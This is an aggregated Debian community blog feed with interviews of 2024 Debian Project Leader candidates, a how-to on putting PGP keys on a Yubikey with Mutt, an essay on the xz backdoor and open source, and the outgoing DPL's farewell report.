So, I think where Debian is failing now is getting new people into Debian. Like, I don't remember, like, exactly the answer. But I remember hearing someone mention, like, the average age of a Debian Developer is, like, above 40 or 45 or something, like, exact age, I don't remember. But it's like, Debian is getting old. Like, the people in Debian are getting old and we are not getting enough of new people into Debian. And that's very important to have people, like, new people coming up. Otherwise, eventually, like, after a few years, nobody, like, we won't have enough people to take the project forward. So, yeah, I believe that is where we need to work on. We are doing some efforts, like, being part of GSOC or outreachy and having maybe other events, like, local events. Like, we used to have a lot of Debian packaging workshops in India. And those kind of, I think, in Brazil and all, they all have, like, local communities are doing. But we are not very successful in retaining the people who maybe come and try out things. But we are not very good at retaining the people, like, retaining people who come. So, we need to work on those things. Right now, I don't have a solid answer for that. But one thing, like, I was thinking about is, like, having a Debian specific outreach project, wherein the focus will be about the Debian, like, starting will be more on, like, usually what happens in GSOC and outreach is that people come, have the, do the contributions, and they go back. Like, they don't have that connection with the Debian, like, Debian community or Debian project. So, what I envision with these, the Debian outreach, the Debian specific outreach is that we have some part of the internship, like, even before starting the internship, we have some sessions and, like, with the people in Debian having, like, getting them introduced to the Debian philosophy and Debian community and Debian, how Debian works. And those things, we focus on that. And then we move on to the technical internship parts. So, I believe this could do some good in having, like, when you have people you can connect to, you tend to stay back in a project mode. When you feel something more than, like, right now, we have so many technical stuff to do, like, the choice for a college student is endless. So, if they want, if they stay back for something, like, maybe for Debian, I would say, we need to have them connected to the Debian project before we go into technical parts. Like, technical parts, like, there are other things as well, where they can go and do the technical part, but, like, they can come here, like, yeah. So, that's what I was saying. Focused outreach projects is one thing. That's just one. That's not enough. We need more of, like, more ideas to have more new people come up. And I'm very happy with, like, the DebConf thing. We tend to get more and more people from the places where we have a DebConf. Brazil is an example. After the Debconf, they have quite a good improvement on Debian contributors. And I think in India also, it did give a good result. Like, we have more people contributing and staying back and those things. So, yeah. So, these were the things I would say, like, we can do to improve.
For the final question, what field in free software do you, what field in free software generally do you think requires the most work to be put into it? What do you think is Debian's part in that field? [Sruthi]:
Okay. Like, right now, what comes to my mind is the free software licenses parts. Like, we have a lot of free software licenses, and there are non-free software licenses. But currently, I feel free software is having a big problem in enforcing these licenses. Like, there are, there may be big corporations or like some people who take up the whole, the code and may not follow the whole, for example, the GPL licenses. Like, we don't know how much of those, how much of the free softwares are used in the bigger things. Yeah, I agree. There are a lot of corporations who are afraid to touch free software. But there would be good amount of free software, free work that converts into property, things violating the free software licenses and those things. And we do not have the kind of like, we have SFLC, SFC, etc. But still, we do not have the ability to go behind and trace and implement the licenses. So, enforce those licenses and bring people who are violating the licenses forward and those kind of things is challenging because one thing is it takes time, like, and most importantly, money is required for the legal stuff. And not always people who like people who make small software, or maybe big, but they may not have the kind of time and money to have these things enforced. So, that's a big challenge free software is facing, especially in our current scenario. I feel we are having those, like, we need to find ways how we can get it sorted. I don't have an answer right now what to do. But this is a challenge I felt like and Debian's part in that. Yeah, as I said, I don't have a solution for that. But the Debian, so DFSG and Debian sticking on to the free software licenses is a good support, I think.
So, that was the final question, Do you have anything else you want to mention for anyone watching this? [Sruthi]:
Not really, like, I am happy, like, I think I was able to answer the questions. And yeah, I would say who is watching. I won't say like, I'm the best DPL candidate, you can't have a better one or something. I stand for a reason. And if you believe in that, or the Debian community and Debian diversity, and those kinds of things, if you believe it, I hope you would be interested, like, you would want to vote for me. That's it. Like, I'm not, I'll make it very clear. I'm not doing a technical leadership part here. So, those, I can't convince people who want technical leadership to vote for me. But I would say people who connect with me, I hope they vote for me.

Bits from Debian: apt install dpl-candidate: Andreas Tille

The Debian Project Developers will shortly vote for a new Debian Project Leader known as the DPL. The Project Leader is the official representative of The Debian Project tasked with managing the overall project, its vision, direction, and finances. The DPL is also responsible for the selection of Delegates, defining areas of responsibility within the project, the coordination of Developers, and making decisions required for the project. Our outgoing and present DPL Jonathan Carter served 4 terms, from 2020 through 2024. Jonathan shared his last Bits from the DPL post to Debian recently and his hopes for the future of Debian. Recently, we sat with the two present candidates for the DPL position asking questions to find out who they really are in a series of interviews about their platforms, visions for Debian, lives, and even their favorite text editors. The interviews were conducted by disaster2life (Yashraj Moghe) and made available from video and audio transcriptions: Voting for the position starts on April 6, 2024. Editors' note: This is our official return to Debian interviews, readers should stay tuned for more upcoming interviews with Developers and other important figures in Debian as part of our "Meet your Debian Developer" series. We used the following tools and services: Turboscribe.ai for the transcription from the audio and video files, IRC: Oftc.net for communication, Jitsi meet for interviews, and Open Broadcaster Software (OBS) for editing and video. While we encountered many technical difficulties in the return to this process, we are still able and proud to present the transcripts of the interviews edited only in a few areas for readability. 2024 Debian Project Leader Candidate: Andrea Tille Andreas' Interview Who are you? Tell us a little about yourself. [Andreas]:
How am I? Well, I'm, as I wrote in my platform, I'm a proud grandfather doing a lot of free software stuff, doing a lot of sports, have some goals in mind which I like to do and hopefully for the best of Debian.
And How are you today? [Andreas]:
How I'm doing today? Well, actually I have some headaches but it's fine for the interview. So, usually I feel very good. Spring was coming here and today it's raining and I plan to do a bicycle tour tomorrow and hope that I do not get really sick but yeah, for the interview it's fine.
What do you do in Debian? Could you mention your story here? [Andreas]:
Yeah, well, I started with Debian kind of an accident because I wanted to have some package salvaged which is called WordNet. It's a monolingual dictionary and I did not really plan to do more than maybe 10 packages or so. I had some kind of training with xTeddy which is totally unimportant, a cute teddy you can put on your desktop. So, and then well, more or less I thought how can I make Debian attractive for my employer which is a medical institute and so on. It could make sense to package bioinformatics and medicine software and it somehow evolved in a direction I did neither expect it nor wanted to do, that I'm currently the most busy uploader in Debian, created several teams around it. DebianMate is very well known from me. I created the Blends team to create teams and techniques around what we are doing which was Debian TIS, Debian Edu, Debian Science and so on and I also created the packaging team for R, for the statistics package R which is technically based and not topic based. All these blends are covering a certain topic and R is just needed by lots of these blends. So, yeah, and to cope with all this I have written a script which is routing an update to manage all these uploads more or less automatically. So, I think I had one day where I uploaded 21 new packages but it's just automatically generated, right? So, it's on one day more than I ever planned to do.
What is the first thing you think of when you think of Debian? Editors' note: The question was misunderstood as the worst thing you think of when you think of Debian [Andreas]:
The worst thing I think about Debian, it's complicated. I think today on Debian board I was asked about the technical progress I want to make and in my opinion we need to standardize things inside Debian. For instance, bringing all the packages to salsa, follow some common standards, some common workflow which is extremely helpful. As I said, if I'm that productive with my own packages we can adopt this in general, at least in most cases I think. I made a lot of good experience by the support of well-formed teams. Well-formed teams are those teams where people support each other, help each other. For instance, how to say, I'm a physicist by profession so I'm not an IT expert. I can tell apart what works and what not but I'm not an expert in those packages. I do and the amount of packages is so high that I do not even understand all the techniques they are covering like Go, Rust and something like this. And I also don't speak Java and I had a problem once in the middle of the night and I've sent the email to the list and was a Java problem and I woke up in the morning and it was solved. This is what I call a team. I don't call a team some common repository that is used by random people for different packages also but it's working together, don't hesitate to solve other people's problems and permit people to get active. This is what I call a team and this is also something I observed in, it's hard to give a percentage, in a lot of other teams but we have other people who do not even understand the concept of the team. Why is working together make some advantage and this is also a tough thing. I [would] like to tackle in my term if I get elected to form solid teams using the common workflow. This is one thing. The other thing is that we have a lot of good people in our infrastructure like FTP masters, DSA and so on. I have the feeling they have a lot of work and are working more or less on their limits, and I like to talk to them [to ask] what kind of change we could do to move that limits or move their personal health to the better side.
The DPL term lasts for a year, What would you do during that you couldn't do now? [Andreas]:
Yeah, well this is basically what I said are my main issues. I need to admit I have no really clear imagination what kind of tasks will come to me as a DPL because all these financial issues and law issues possible and issues [that] people who are not really friendly to Debian might create. I'm afraid these things might occupy a lot of time and I can't say much about this because I simply don't know.
What are three key terms about you and your candidacy? [Andreas]:
As I said, I like to work on standards, I d like to make Debian try [to get it right so] that people don't get overworked, this third key point is be inviting to newcomers, to everybody who wants to come. Yeah, I also mentioned in my term this diversity issue, geographical and from gender point of view. This may be the three points I consider most important.
Preferred text editor? [Andreas]:
Yeah, my preferred one? Ah, well, I have no preferred text editor. I'm using the Midnight Commander very frequently which has an internal editor which is convenient for small text. For other things, I usually use VI but I also use Emacs from time to time. So, no, I have not preferred text editor. Whatever works nicely for me.
What is the importance of the community in the Debian Project? How would like to see it evolving over the next few years? [Andreas]:
Yeah, I think the community is extremely important. So, I was on a lot of DebConfs. I think it's not really 20 but 17 or 18 DebCons and I really enjoyed these events every year because I met so many friends and met so many interesting people that it's really enriching my life and those who I never met in person but have read interesting things and yeah, Debian community makes really a part of my life.
And how do you think it should evolve specifically? [Andreas]:
Yeah, for instance, last year in Kochi, it became even clearer to me that the geographical diversity is a really strong point. Just discussing with some women from India who is afraid about not coming next year to Busan because there's a problem with Shanghai and so on. I'm not really sure how we can solve this but I think this is a problem at least I wish to tackle and yeah, this is an interesting point, the geographical diversity and I'm running the so-called mentoring of the month. This is a small project to attract newcomers for the Debian Med team which has the focus on medical packages and I learned that we had always men applying for this and so I said, okay, I dropped the constraint of medical packages. Any topic is fine, I teach you packaging but it must be someone who does not consider himself a man. I got only two applicants, no, actually, I got one applicant and one response which was kind of strange if I'm hunting for women or so. I did not understand but I got one response and interestingly, it was for me one of the least expected counters. It was from Iran and I met a very nice woman, very open, very skilled and gifted and did a good job or have even lose contact today and maybe we need more actively approach groups that are underrepresented. I don't know if what's a good means which I did but at least I tried and so I try to think about these kind of things.
What part of Debian has made you smile? What part of the project has kept you going all through the years? [Andreas]:
Well, the card game which is called Mao on the DebConf made me smile all the time. I admit I joined only two or three times even if I really love this kind of games but I was occupied by other stuff so this made me really smile. I also think the first online DebConf in 2020 made me smile because we had this kind of short video sequences and I tried to make a funny video sequence about every DebConf I attended before. This is really funny moments but yeah, it's not only smile but yeah. One thing maybe it's totally unconnected to Debian but I learned personally something in Debian that we have a do-ocracy and you can do things which you think that are right if not going in between someone else, right? So respect everybody else but otherwise you can do so. And in 2020 I also started to take trees which are growing widely in my garden and plant them into the woods because in our woods a lot of trees are dying and so I just do something because I can. I have the resource to do something, take the small tree and bring it into the woods because it does not harm anybody. I asked the forester if it is okay, yes, yes, okay. So everybody can do so but I think the idea to do something like this came also because of the free software idea. You have the resources, you have the computer, you can do something and you do something productive, right? And when thinking about this I think it was also my Debian work. Meanwhile I have planted more than 3,000 trees so it's not a small number but yeah, I enjoy this.
What part of Debian would you have some criticisms for? [Andreas]:
Yeah, it's basically the same as I said before. We need more standards to work together. I do not want to repeat this but this is what I think, yeah.
What field in Free Software generally do you think requires the most work to be put into it? What do you think is Debian's part in the field? [Andreas]:
It's also in general, the thing is the fact that I'm maintaining packages which are usually as modern software is maintained in Git, which is fine but we have some software which is at Sourceport, we have software laying around somewhere, we have software where Debian somehow became Upstream because nobody is caring anymore and free software is very different in several things, ways and well, I in principle like freedom of choice which is the basic of all our work. Sometimes this freedom goes in the way of productivity because everybody is free to re-implement. You asked me for the most favorite editor. In principle one really good working editor would be great to have and would work and we have maybe 500 in Debian or so, I don't know. I could imagine if people would concentrate and say five instead of 500 editors, we could get more productive, right? But I know this will not happen, right? But I think this is one thing which goes in the way of making things smooth and productive and we could have more manpower to replace one person who's [having] children, doing some other stuff and can't continue working on something and maybe this is a problem I will not solve, definitely not, but which I see.
What do you think is Debian's part in the field? [Andreas]:
Yeah, well, okay, we can bring together different Upstreams, so we are building some packages and have some general overview about similar things and can say, oh, you are doing this and some other person is doing more or less the same, do you want to join each other or so, but this is kind of a channel we have to our Upstreams which is probably not very successful. It starts with code copies of some libraries which are changed a little bit, which is fine license-wise, but not so helpful for different things and so I've tried to convince those Upstreams to forward their patches to the original one, but for this and I think we could do some kind of, yeah, [find] someone who brings Upstream together or to make them stop their forking stuff, but it costs a lot of energy and we probably don't have this and it's also not realistic that we can really help with this problem.
Do you have any questions for me? [Andreas]:
I enjoyed the interview, I enjoyed seeing you again after half a year or so. Yeah, actually I've seen you in the eating room or cheese and wine party or so, I do not remember we had to really talk together, but yeah, people around, yeah, for sure. Yeah.

Emanuele Rocca: PGP keys on Yubikey, with a side of Mutt

Here are my notes about copying PGP keys to external hardware devices such as Yubikeys. Let me begin by saying that the gpg tools are pretty bad at this.
MAKE A COUPLE OF BACKUPS OF ~/.gnupg/ TO DIFFERENT ENCRYPTED USB STICKS BEFORE YOU START. GPG WILL MESS UP YOUR KEYS. SERIOUSLY.
For example, would you believe me if I said that saving changes results in the removal of your private key? Well check this out.
Now that you have multiple safe, offline backups of your keys, here are my notes.
apt install yubikey-manager scdaemon
Plug the Yubikey in, see if it s recognized properly:
ykman list
gpg --card-status
Change the default PIN (123456) and Admin PIN (12345678):
gpg --card-edit
gpg/card> admin
gpg/card> passwd
Look at the openpgp information and change the maximum number of retries, if you like. I have seen this failing a couple of times, unplugging the Yubikey and putting it back in worked.
ykman openpgp info
ykman openpgp access set-retries 7 7 7
Copy your keys. MAKE A BACKUP OF ~/.gnupg/ BEFORE YOU DO THIS.
gpg --edit-key $KEY_ID
gpg> keytocard # follow the prompts to copy the first key
Now choose the next key and copy that one too. Repeat till all subkeys are copied.
gpg> key 1
gpg> keytocard
Typing gpg --card-status you should be able to see all your keys on the Yubikey now.

Using the key on another machine
How do you use your PGP keys on the Yubikey on other systems?
Go to another system, if it does have a ~/.gnupg directory already move it somewhere else.
apt install scdaemon
Import your public key:
gpg -k
gpg --keyserver pgp.mit.edu --recv-keys $KEY_ID
Check the fingerprint and if it is indeed your key say you trust it:
gpg --edit-key $KEY_ID
> trust
> 5
> y
> save
Now try gpg --card-status and gpg --list-secret-keys, you should be able to see your keys. Try signing something, it should work.
gpg --output /tmp/x.out --sign /etc/motd
gpg --verify /tmp/x.out

Using the Yubikey with Mutt
If you re using mutt with IMAP, there is a very simple trick to safely store your password on disk. Create an encrypted file with your IMAP password:
echo SUPERSECRET   gpg --encrypt > ~/.mutt_password.gpg
Add the following to ~/.muttrc:
set imap_pass= gpg --decrypt ~/.mutt_password.gpg 
With the above, mutt now prompts you to insert the Yubikey and type your PIN in order to connect to the IMAP server.

4 April 2024

John Goerzen: The xz Issue Isn t About Open Source

You ve probably heard of the recent backdoor in xz. There have been a lot of takes on this, most of them boiling down to some version of:
The problem here is with Open Source Software.
I want to say not only is that view so myopic that it pushes towards the incorrect, but also it blinds us to more serious problems. Now, I don t pretend that there are no problems in the FLOSS community. There have been various pieces written about what this issue says about the FLOSS community (usually without actionable solutions). I m not here to say those pieces are wrong. Just that there s a bigger picture. So with this xz issue, it may well be a state actor (aka spy ) that added this malicious code to xz. We also know that proprietary software and systems can be vulnerable. For instance, a Twitter whistleblower revealed that Twitter employed Indian and Chinese spies, some knowingly. A recent report pointed to security lapses at Microsoft, including preventable lapses in security. According to the Wikipedia article on the SolarWinds attack, it was facilitated by various kinds of carelessness, including passwords being posted to Github and weak default passwords. They directly distributed malware-infested updates, encouraged customers to disable anti-malware tools when installing SolarWinds products, and so forth. It would be naive indeed to assume that there aren t black hat actors among the legions of programmers employed by companies that outsource work to low-cost countries some of which have challenges with bribery. So, given all this, we can t really say the problem is Open Source. Maybe it s more broad:
The problem here is with software.
Maybe that inches us closer, but is it really accurate? We have all heard of Boeing s recent issues, which seem to have some element of root causes in corporate carelessness, cost-cutting, and outsourcing. That sounds rather similar to the SolarWinds issue, doesn t it?
Well then, the problem is capitalism.
Maybe it has a role to play, but isn t it a little too easy to just say capitalism and throw up our hands helplessly, just as some do with FLOSS as at the start of this article? After all, capitalism also brought us plenty of products of very high quality over the years. When we can point to successful, non-careless products and I own some of them (for instance, my Framework laptop). We clearly haven t reached the root cause yet. And besides, what would you replace it with? All the major alternatives that have been tried have even stronger downsides. Maybe you replace it with better regulated capitalism , but that s still capitalism.
Then the problem must be with consumers.
As this argument would go, it s consumers buying patterns that drive problems. Buyers individual and corporate seek flashy features and low cost, prizing those over quality and security. No doubt this is true in a lot of cases. Maybe greed or status-conscious societies foster it: Temu promises people to shop like a billionaire , and unloads on them cheap junk, which all but guarantees that shipments from Temu containing products made with forced labor are entering the United States on a regular basis . But consumers are also people, and some fraction of them are quite capable of writing fantastic software, and in fact, do so. So what we need is some way to seize control. Some way to do what is right, despite the pressures of consumers or corporations. Ah yes, dear reader, you have been slogging through all these paragraphs and now realize I have been leading you to this:
Then the solution is Open Source.
Indeed. Faults and all, FLOSS is the most successful movement I know where people are bringing us back to the commons: working and volunteering for the common good, unleashing a thousand creative variants on a theme, iterating in every direction imaginable. We have FLOSS being vital parts of everything from $30 Raspberry Pis to space missions. It is bringing education and communication to impoverished parts of the world. It lets everyone write and release software. And, unlike the SolarWinds and Twitter issues, it exposes both clever solutions and security flaws to the world. If an authentication process in Windows got slower, we would all shrug and mutter Microsoft under our breath. Because, really, what else can we do? We have no agency with Windows. If an authentication process in Linux gets slower, anybody that s interested anybody at all can dive in and ask why and trace it down to root causes. Some look at this and say FLOSS is responsible for this mess. I look at it and say, this would be so much worse if it wasn t FLOSS and experience backs me up on this. FLOSS doesn t prevent security issues itself. What it does do is give capabilities to us all. The ability to investigate. Ability to fix. Yes, even the ability to break and its cousin, the power to learn. And, most rewarding, the ability to contribute.

2 April 2024

Bits from Debian: Bits from the DPL

Dear Debianites This morning I decided to just start writing Bits from DPL and send whatever I have by 18:00 local time. Here it is, barely proof read, along with all it's warts and grammar mistakes! It's slightly long and doesn't contain any critical information, so if you're not in the mood, don't feel compelled to read it! Get ready for a new DPL! Soon, the voting period will start to elect our next DPL, and my time as DPL will come to an end. Reading the questions posted to the new candidates on debian-vote, it takes quite a bit of restraint to not answer all of them myself, I think I can see how that aspect contributed to me being reeled in to running for DPL! In total I've done so 5 times (the first time I ran, Sam was elected!). Good luck to both Andreas and Sruthi, our current DPL candidates! I've already started working on preparing handover, and there's multiple request from teams that have came in recently that will have to wait for the new term, so I hope they're both ready to hit the ground running! Things that I wish could have gone better Communication Recently, I saw a t-shirt that read:
Adulthood is saying, 'But after this week things will slow down a bit' over and over until you die.
I can relate! With every task, crisis or deadline that appears, I think that once this is over, I'll have some more breathing space to get back to non-urgent, but important tasks. "Bits from the DPL" was something I really wanted to get right this last term, and clearly failed spectacularly. I have two long Bits from the DPL drafts that I never finished, I tend to have prioritised problems of the day over communication. With all the hindsight I have, I'm not sure which is better to prioritise, I do rate communication and transparency very highly and this is really the top thing that I wish I could've done better over the last four years. On that note, thanks to people who provided me with some kind words when I've mentioned this to them before. They pointed out that there are many other ways to communicate and be in touch with the community, and they mentioned that they thought that I did a good job with that. Since I'm still on communication, I think we can all learn to be more effective at it, since it's really so important for the project. Every time I publicly spoke about us spending more money, we got more donations. People out there really like to see how we invest funds in to Debian, instead of just making it heap up. DSA just spent a nice chunk on money on hardware, but we don't have very good visibility on it. It's one thing having it on a public line item in SPI's reporting, but it would be much more exciting if DSA could provide a write-up on all the cool hardware they're buying and what impact it would have on developers, and post it somewhere prominent like debian-devel-announce, Planet Debian or Bits from Debian (from the publicity team). I don't want to single out DSA there, it's difficult and affects many other teams. The Salsa CI team also spent a lot of resources (time and money wise) to extend testing on AMD GPUs and other AMD hardware. It's fantastic and interesting work, and really more people within the project and in the outside world should know about it! I'm not going to push my agendas to the next DPL, but I hope that they continue to encourage people to write about their work, and hopefully at some point we'll build enough excitement in doing so that it becomes a more normal part of our daily work. Founding Debian as a standalone entity This was my number one goal for the project this last term, which was a carried over item from my previous terms. I'm tempted to write everything out here, including the problem statement and our current predicaments, what kind of ground work needs to happen, likely constitutional changes that need to happen, and the nature of the GR that would be needed to make such a thing happen, but if I start with that, I might not finish this mail. In short, I 100% believe that this is still a very high ranking issue for Debian, and perhaps after my term I'd be in a better position to spend more time on this (hmm, is this an instance of "The grass is always better on the other side", or "Next week will go better until I die?"). Anyway, I'm willing to work with any future DPL on this, and perhaps it can in itself be a delegation tasked to properly explore all the options, and write up a report for the project that can lead to a GR. Overall, I'd rather have us take another few years and do this properly, rather than rush into something that is again difficult to change afterwards. So while I very much wish this could've been achieved in the last term, I can't say that I have any regrets here either. My terms in a nutshell COVID-19 and Debian 11 era My first term in 2020 started just as the COVID-19 pandemic became known to spread globally. It was a tough year for everyone, and Debian wasn't immune against its effects either. Many of our contributors got sick, some have lost loved ones (my father passed away in March 2020 just after I became DPL), some have lost their jobs (or other earners in their household have) and the effects of social distancing took a mental and even physical health toll on many. In Debian, we tend to do really well when we get together in person to solve problems, and when DebConf20 got cancelled in person, we understood that that was necessary, but it was still more bad news in a year we had too much of it already. I can't remember if there was ever any kind of formal choice or discussion about this at any time, but the DebConf video team just kind of organically and spontaneously became the orga team for an online DebConf, and that lead to our first ever completely online DebConf. This was great on so many levels. We got to see each other's faces again, even though it was on screen. We had some teams talk to each other face to face for the first time in years, even though it was just on a Jitsi call. It had a lasting cultural change in Debian, some teams still have video meetings now, where they didn't do that before, and I think it's a good supplement to our other methods of communication. We also had a few online Mini-DebConfs that was fun, but DebConf21 was also online, and by then we all developed an online conference fatigue, and while it was another good online event overall, it did start to feel a bit like a zombieconf and after that, we had some really nice events from the Brazillians, but no big global online community events again. In my opinion online MiniDebConfs can be a great way to develop our community and we should spend some further energy into this, but hey! This isn't a platform so let me back out of talking about the future as I see it... Despite all the adversity that we faced together, the Debian 11 release ended up being quite good. It happened about a month or so later than what we ideally would've liked, but it was a solid release nonetheless. It turns out that for quite a few people, staying inside for a few months to focus on Debian bugs was quite productive, and Debian 11 ended up being a very polished release. During this time period we also had to deal with a previous Debian Developer that was expelled for his poor behaviour in Debian, who continued to harass members of the Debian project and in other free software communities after his expulsion. This ended up being quite a lot of work since we had to take legal action to protect our community, and eventually also get the police involved. I'm not going to give him the satisfaction by spending too much time talking about him, but you can read our official statement regarding Daniel Pocock here: https://www.debian.org/News/2021/20211117 In late 2021 and early 2022 we also discussed our general resolution process, and had two consequent votes to address some issues that have affected past votes: In my first term I addressed our delegations that were a bit behind, by the end of my last term all delegation requests are up to date. There's still some work to do, but I'm feeling good that I get to hand this over to the next DPL in a very decent state. Delegation updates can be very deceiving, sometimes a delegation is completely re-written and it was just 1 or 2 hours of work. Other times, a delegation updated can contain one line that has changed or a change in one team member that was the result of days worth of discussion and hashing out differences. I also received quite a few requests either to host a service, or to pay a third-party directly for hosting. This was quite an admin nightmare, it either meant we had to manually do monthly reimbursements to someone, or have our TOs create accounts/agreements at the multiple providers that people use. So, after talking to a few people about this, we founded the DebianNet team (we could've admittedly chosen a better name, but that can happen later on) for providing hosting at two different hosting providers that we have agreement with so that people who host things under debian.net have an easy way to host it, and then at the same time Debian also has more control if a site maintainer goes MIA. More info: https://wiki.debian.org/Teams/DebianNet You might notice some Openstack mentioned there, we had some intention to set up a Debian cloud for hosting these things, that could also be used for other additional Debiany things like archive rebuilds, but these have so far fallen through. We still consider it a good idea and hopefully it will work out some other time (if you're a large company who can sponsor few racks and servers, please get in touch!) DebConf22 and Debian 12 era DebConf22 was the first time we returned to an in-person DebConf. It was a bit smaller than our usual DebConf - understandably so, considering that there were still COVID risks and people who were at high risk or who had family with high risk factors did the sensible thing and stayed home. After watching many MiniDebConfs online, I also attended my first ever MiniDebConf in Hamburg. It still feels odd typing that, it feels like I should've been at one before, but my location makes attending them difficult (on a side-note, a few of us are working on bootstrapping a South African Debian community and hopefully we can pull off MiniDebConf in South Africa later this year). While I was at the MiniDebConf, I gave a talk where I covered the evolution of firmware, from the simple e-proms that you'd find in old printers to the complicated firmware in modern GPUs that basically contain complete operating systems- complete with drivers for the device their running on. I also showed my shiny new laptop, and explained that it's impossible to install that laptop without non-free firmware (you'd get a black display on d-i or Debian live). Also that you couldn't even use an accessibility mode with audio since even that depends on non-free firmware these days. Steve, from the image building team, has said for a while that we need to do a GR to vote for this, and after more discussion at DebConf, I kept nudging him to propose the GR, and we ended up voting in favour of it. I do believe that someone out there should be campaigning for more free firmware (unfortunately in Debian we just don't have the resources for this), but, I'm glad that we have the firmware included. In the end, the choice comes down to whether we still want Debian to be installable on mainstream bare-metal hardware. At this point, I'd like to give a special thanks to the ftpmasters, image building team and the installer team who worked really hard to get the changes done that were needed in order to make this happen for Debian 12, and for being really proactive for remaining niggles that was solved by the time Debian 12.1 was released. The included firmware contributed to Debian 12 being a huge success, but it wasn't the only factor. I had a list of personal peeves, and as the hard freeze hit, I lost hope that these would be fixed and made peace with the fact that Debian 12 would release with those bugs. I'm glad that lots of people proved me wrong and also proved that it's never to late to fix bugs, everything on my list got eliminated by the time final freeze hit, which was great! We usually aim to have a release ready about 2 years after the previous release, sometimes there are complications during a freeze and it can take a bit longer. But due to the excellent co-ordination of the release team and heavy lifting from many DDs, the Debian 12 release happened 21 months and 3 weeks after the Debian 11 release. I hope the work from the release team continues to pay off so that we can achieve their goals of having shorter and less painful freezes in the future! Even though many things were going well, the ongoing usr-merge effort highlighted some social problems within our processes. I started typing out the whole history of usrmerge here, but it's going to be too long for the purpose of this mail. Important questions that did come out of this is, should core Debian packages be team maintained? And also about how far the CTTE should really be able to override a maintainer. We had lots of discussion about this at DebConf22, but didn't make much concrete progress. I think that at some point we'll probably have a GR about package maintenance. Also, thank you to Guillem who very patiently explained a few things to me (after probably having have to done so many times to others before already) and to Helmut who have done the same during the MiniDebConf in Hamburg. I think all the technical and social issues here are fixable, it will just take some time and patience and I have lots of confidence in everyone involved. UsrMerge wiki page: https://wiki.debian.org/UsrMerge DebConf 23 and Debian 13 era DebConf23 took place in Kochi, India. At the end of my Bits from the DPL talk there, someone asked me what the most difficult thing I had to do was during my terms as DPL. I answered that nothing particular stood out, and even the most difficult tasks ended up being rewarding to work on. Little did I know that my most difficult period of being DPL was just about to follow. During the day trip, one of our contributors, Abraham Raji, passed away in a tragic accident. There's really not anything anyone could've done to predict or stop it, but it was devastating to many of us, especially the people closest to him. Quite a number of DebConf attendees went to his funeral, wearing the DebConf t-shirts he designed as a tribute. It still haunts me when I saw his mother scream "He was my everything! He was my everything!", this was by a large margin the hardest day I've ever had in Debian, and I really wasn't ok for even a few weeks after that and I think the hurt will be with many of us for some time to come. So, a plea again to everyone, please take care of yourself! There's probably more people that love you than you realise. A special thanks to the DebConf23 team, who did a really good job despite all the uphills they faced (and there were many!). As DPL, I think that planning for a DebConf is near to impossible, all you can do is show up and just jump into things. I planned to work with Enrico to finish up something that will hopefully save future DPLs some time, and that is a web-based DD certificate creator instead of having the DPL do so manually using LaTeX. It already mostly works, you can see the work so far by visiting https://nm.debian.org/person/ACCOUNTNAME/certificate/ and replacing ACCOUNTNAME with your Debian account name, and if you're a DD, you should see your certificate. It still needs a few minor changes and a DPL signature, but at this point I think that will be finished up when the new DPL start. Thanks to Enrico for working on this! Since my first term, I've been trying to find ways to improve all our accounting/finance issues. Tracking what we spend on things, and getting an annual overview is hard, especially over 3 trusted organisations. The reimbursement process can also be really tedious, especially when you have to provide files in a certain order and combine them into a PDF. So, at DebConf22 we had a meeting along with the treasurer team and Stefano Rivera who said that it might be possible for him to work on a new system as part of his Freexian work. It worked out, and Freexian funded the development of the system since then, and after DebConf23 we handled the reimbursements for the conference via the new reimbursements site: https://reimbursements.debian.net/ It's still early days, but over time it should be linked to all our TOs and we'll use the same category codes across the board. So, overall, our reimbursement process becomes a lot simpler, and also we'll be able to get information like how much money we've spent on any category in any period. It will also help us to track how much money we have available or how much we spend on recurring costs. Right now that needs manual polling from our TOs. So I'm really glad that this is a big long-standing problem in the project that is being fixed. For Debian 13, we're waving goodbye to the KFreeBSD and mipsel ports. But we're also gaining riscv64 and loongarch64 as release architectures! I have 3 different RISC-V based machines on my desk here that I haven't had much time to work with yet, you can expect some blog posts about them soon after my DPL term ends! As Debian is a unix-like system, we're affected by the Year 2038 problem, where systems that uses 32 bit time in seconds since 1970 run out of available time and will wrap back to 1970 or have other undefined behaviour. A detailed wiki page explains how this works in Debian, and currently we're going through a rather large transition to make this possible. I believe this is the right time for Debian to be addressing this, we're still a bit more than a year away for the Debian 13 release, and this provides enough time to test the implementation before 2038 rolls along. Of course, big complicated transitions with dependency loops that causes chaos for everyone would still be too easy, so this past weekend (which is a holiday period in most of the west due to Easter weekend) has been filled with dealing with an upstream bug in xz-utils, where a backdoor was placed in this key piece of software. An Ars Technica covers it quite well, so I won't go into all the details here. I mention it because I want to give yet another special thanks to everyone involved in dealing with this on the Debian side. Everyone involved, from the ftpmasters to security team and others involved were super calm and professional and made quick, high quality decisions. This also lead to the archive being frozen on Saturday, this is the first time I've seen this happen since I've been a DD, but I'm sure next week will go better! Looking forward It's really been an honour for me to serve as DPL. It might well be my biggest achievement in my life. Previous DPLs range from prominent software engineers to game developers, or people who have done things like complete Iron Man, run other huge open source projects and are part of big consortiums. Ian Jackson even authored dpkg and is now working on the very interesting tag2upload service! I'm a relative nobody, just someone who grew up as a poor kid in South Africa, who just really cares about Debian a lot. And, above all, I'm really thankful that I didn't do anything major to screw up Debian for good. Not unlike learning how to use Debian, and also becoming a Debian Developer, I've learned a lot from this and it's been a really valuable growth experience for me. I know I can't possible give all the thanks to everyone who deserves it, so here's a big big thanks to everyone who have worked so hard and who have put in many, many hours to making Debian better, I consider you all heroes! -Jonathan

23 March 2024

Erich Schubert: Do not get Amazon Kids+ or a Fire HD Kids

